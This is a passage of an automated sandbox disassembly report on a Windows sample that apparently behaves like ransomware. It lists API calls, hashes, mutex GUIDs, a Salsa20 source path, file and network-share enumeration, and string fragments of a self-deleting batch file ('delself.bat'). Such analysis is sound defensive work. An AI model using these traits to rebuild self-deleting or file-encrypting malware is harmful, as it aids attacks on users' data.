Part of subcall function 00454AE0: GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
Part of subcall function 00454AE0: GetFileType.KERNEL32(00000000), ref: 00454B05
Part of subcall function 00454AE0: __vfwprintf_p.LIBCMT ref: 00454B27

_raise.LIBCMT ref: 00454C18

Part of subcall function 0042A12E: __getptd_noexit.LIBCMT ref: 0042A16B

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00454C0C

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction ID: fa72e03f5863b2a05375eef283b674a1c5903e86e1e3734bc2555e426bc738f9
Opcode Fuzzy Hash: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction Fuzzy Hash: 6FD09E795892107FED022791EC07A1E7A51AF9471CF808419F69A041A2D6768534AA5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0040FF4D
_wcsstr.LIBCMT ref: 0040FF7E
_wcsstr.LIBCMT ref: 0040FFC4
_wcsstr.LIBCMT ref: 0040FFEF
_wcsstr.LIBCMT ref: 0041001C
FindNextFileW.KERNELBASE(?,?), ref: 0041005A
FindClose.KERNEL32(?), ref: 0041006C

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: 84b8f8ef14ed1e0445a0c90325b0e2512697a617a797f0f3079c8adcd251a6b2
Instruction ID: 5ab157793dcca273c0e587975c0a14bd2b460513ddb2d20d8000ed9fb441c990
Opcode Fuzzy Hash: 84b8f8ef14ed1e0445a0c90325b0e2512697a617a797f0f3079c8adcd251a6b2
Instruction Fuzzy Hash: 30519D70D00219DAEF20DF60DD457DEBBB5BF15308F4040BAD40A66291EB7A9AC9CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00423A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__lock_file.LIBCMT ref: 00423A7D

Part of subcall function 00420E53: __lock.LIBCMT ref: 00420E76

__fclose_nolock.LIBCMT ref: 00423A88

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction ID: e9f7363e2c125346a9344b83ccdc7017391740cbbddd1805e0fe7159b8e2b74d
Opcode Fuzzy Hash: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction Fuzzy Hash: 1EF0F631B01724AAD710AF66680275E6AB46F00339F90815FE4A09A1C1CB7C87428F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 360932542-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00427B16,00000000,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,00000000,00000000), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 004118C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004118DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 004118E9

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction ID: a75cf17640dcbe18a091e0aebb8a692561bc66dfcc2ddf1384dfcaf55dfbf141
Opcode Fuzzy Hash: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction Fuzzy Hash: D1E08636B415049BC7209B99ECC0B9DB374F785720F20437AD919733D047352D028A58

Uniqueness

Uniqueness Score: -1.00%

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 3b7b0fc369f82dddc2ccaf18a852f1bb1e9a346ec1b2b182573c4b9e8e7e9711
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: 3b7b0fc369f82dddc2ccaf18a852f1bb1e9a346ec1b2b182573c4b9e8e7e9711
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00416760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 8642606c1552ecd819b8adc579047d7798922c573bb863da5b46e9a3389c0131
Instruction ID: efb258ddcfae47249c3acbfcaa5a8e986a9cbccba7edf1416c99c2e95f316cd5
Opcode Fuzzy Hash: 8642606c1552ecd819b8adc579047d7798922c573bb863da5b46e9a3389c0131
Instruction Fuzzy Hash: B83126B1A016019FDB24DF29C5807AEBBF4EB40364F104A2EE426977C0D738DA80C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 00416570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004165C5

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: 2edcca7392c82dc21db4b8ace527c4f1afab0509be4df627535b5f7c6d087114
Instruction ID: 5021f87c270b400a587bd724d9b61bde01bf534475f8b0cbfe068d44a909a5c2
Opcode Fuzzy Hash: 2edcca7392c82dc21db4b8ace527c4f1afab0509be4df627535b5f7c6d087114
Instruction Fuzzy Hash: A72124B5A00115DBCB14DF5CD981B9ABFA9EF45700F04822AEC058B348D738EA14CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00412840 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000008,?,00000000,00000000,?), ref: 004128AA

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide_memset
String ID:
API String ID: 2800726579-0
Opcode ID: 6531495d72e0c12a8adb62e19eabdc1a4fe698ddf223b5b53fb35ac8d40b3f75
Instruction ID: 77d5c0c78108e6bd7b696174a76f34ed3b4c8b07ae2fa23de187fb57fd92ed49
Opcode Fuzzy Hash: 6531495d72e0c12a8adb62e19eabdc1a4fe698ddf223b5b53fb35ac8d40b3f75
Instruction Fuzzy Hash: 9B11D371A00219BBDB11DF59CD41BDFBBA8EF01714F10422AF914A72C0C7BD99558BDA

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0041FA25

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction ID: 74150d4eedde67828055b261a2b9f98274f0c47e32cd20f87c2cefabb50f2d8a
Opcode Fuzzy Hash: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction Fuzzy Hash: F1D05E322883147BE3140A9AAC06F867AC88B15B20F00403AB609DA1C0D9A1A8108A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0041FDA4

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction ID: f1b321f5059a27c682919cb5e20fd2d447803ac3e15b06371c74c2023cac73f2
Opcode Fuzzy Hash: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction Fuzzy Hash: 27E02B311043406AD32097A4DC01F82BBC49F18728F00C81EF7CA6B9C1C5F1B04487ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,00529230), ref: 0041FDD6

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction ID: 36d07be7825d0dd215c2e58fd0e5fada4a3bc662417c17551b787912ef620d2a
Opcode Fuzzy Hash: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction Fuzzy Hash: 6FD012753C9305B7E7180BA6BC47F593A989B29B00F504036F60DD92D0DAB1F4509A5C

Uniqueness

Uniqueness Score: -1.00%

Function 004220B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004220C1

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 292279633ce522dfb3aa62ab9f23dea9a591004ce3b356b458beb681742a1975
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: FDB0927254021C77CF012E82EC02A493B199B60764F448021FB1C181B1E6BBE66496C9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00000000,00000001,00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EBC
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EE4
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EF5

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode__initterm$__lock_doexit
String ID:
API String ID: 3712619029-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Function 00420FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00420FE8

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 060863096896a5b816ca94ba1531ddaea04f54b188c1fa908ac11e743c0bd32b
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: 1EB0927254020C77CE012A82EC02A497B199B516A4F408021FB0C18571A677A6A09A89

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
" goto try, xrefs: 00412666
D, xrefs: 00412720
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
@echo off:trydel ", xrefs: 0041262A
"if exist ", xrefs: 00412648
del ", xrefs: 00412674
delself.bat, xrefs: 0041261C
TEMP, xrefs: 004125DF

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
